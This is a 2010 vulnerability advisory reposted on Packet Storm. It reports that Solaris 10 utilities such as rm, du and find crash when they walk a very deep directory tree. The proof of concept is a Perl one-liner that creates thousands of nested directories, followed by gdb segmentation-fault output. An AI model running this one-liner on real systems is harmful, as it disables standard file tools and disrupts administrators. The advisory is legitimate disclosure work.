exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Sun Solaris 10 filesystem rm(1),find(1),etc Denial Of Service

Sun Solaris 10 filesystem rm(1),find(1),etc Denial Of Service
Posted May 22, 2010
Authored by Maksymilian Arciemowicz

Sun Solaris 10 filesystem rm, find, etc suffers from a denial of service vulnerability.

tags | exploit, denial of service
systems | solaris
SHA-256 | 1e273224020c7a25c0ba05d1352ca20c832b1e821ac772c1024178bcdeab6176

Sun Solaris 10 filesystem rm(1),find(1),etc Denial Of Service

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ Sun Solaris 10 filesystem rm(1),find(1),etc, Denial-of-service ]

Author: Maksymilian Arciemowicz
SecurityReason.com
Date:
- - Dis.: 17.04.2010
- - Pub.: 21.05.2010

Affected Software:
- - Sun Solaris 10 10/09

Original URL:
http://securityreason.com/achievement_securityalert/85


- --- 0.Description ---
Solaris is a Unix operating system introduced by Sun Microsystems in
1992 as the successor to SunOS.

Sun Microsystems, Inc. is a wholly owned subsidiary of Oracle
Corporation, selling computers, computer components, computer software,
and information technology services. Sun was founded on February 24,
1982. The company was headquartered in Santa Clara, California (part of
Silicon Valley), on the former west campus of the Agnews Developmental
Center.

In computing, ZFS is a combined file system and logical volume manager
designed by Sun Microsystems. The features of ZFS include support for
high storage capacities, integration of the concepts of filesystem and
volume management, snapshots and copy-on-write clones, continuous
integrity checking and automatic repair, RAID-Z and native NFSv4 ACLs.


- --- 1. Sun Solaris 10 filesystem rm(1),find(1),etc, Denial-of-service ---
We can create, deep tree and when we will remove, scan or something else
with this tree, affected program will crash with stack overflow sympton

PoC:
# perl -e '$a="X";for(1..8000){ ! -d $a and mkdir $a and chdir $a }'

we need use 1..8000 or bigger value to make stack overflow.

in result

# du X
Segmentation fault (core dumped)
# /usr/local/bin/gdb -q du
(no debugging symbols found)
(gdb) r X
Starting program: /usr/bin/du X
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
0xfeedfc8a in _ndoprnt () from /lib/libc.so.1
(gdb) x/i $eip
0xfeedfc8a <_ndoprnt+12>: push %ebp

We can simple remove this dir for 1..8000

# rm -rf X
#

but let`s try create this

# perl -e '$a="Y";for(1..50000){ ! -d $a and mkdir $a and chdir $a }'
# rm -rf Y
Segmentation fault (core dumped)

rm(1) has fail!

what is wrong? stack overflow

# /usr/local/bin/gdb -q rm
(no debugging symbols found)
(gdb) r -rf Y
Starting program: /usr/bin/rm -rf Y
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
0x08051c03 in ?? ()
(gdb) x/i $eip
0x8051c03: push %ebx

# find Y CX >> /dev/null
Segmentation fault (core dumped)


find(1) also fails!

# /usr/local/bin/gdb -q find
(no debugging symbols found)
(gdb) r Y CX >> /dev/null
Starting program: /usr/bin/find Y CX >> /dev/null
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
0xfeecfc8a in _ndoprnt () from /lib/libc.so.1
(gdb) x/i $eip
0xfeecfc8a <_ndoprnt+12>: push %ebp


- --- 2. Fix ---
Sun Solaris will fix this issue.


- --- 3. Greets ---
sp3x Infospec pi3


- --- 4. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]
Email:
- - cxib {a\./t] securityreason [d=t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://securityreason.com/exploit_alert/ - Exploit Database
http://securityreason.com/security_alert/ - Vulnerability Database

-----BEGIN PGP SIGNATURE-----

iEYEARECAAYFAkv2fyAACgkQpiCeOKaYa9ZQAwCfUrpH2glAhxCZVwpvOTKp8F38
ssYAoMKcw4CX0hjK2CsCEkIAVyO5OB6e
=dQfV
-----END PGP SIGNATURE-----

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close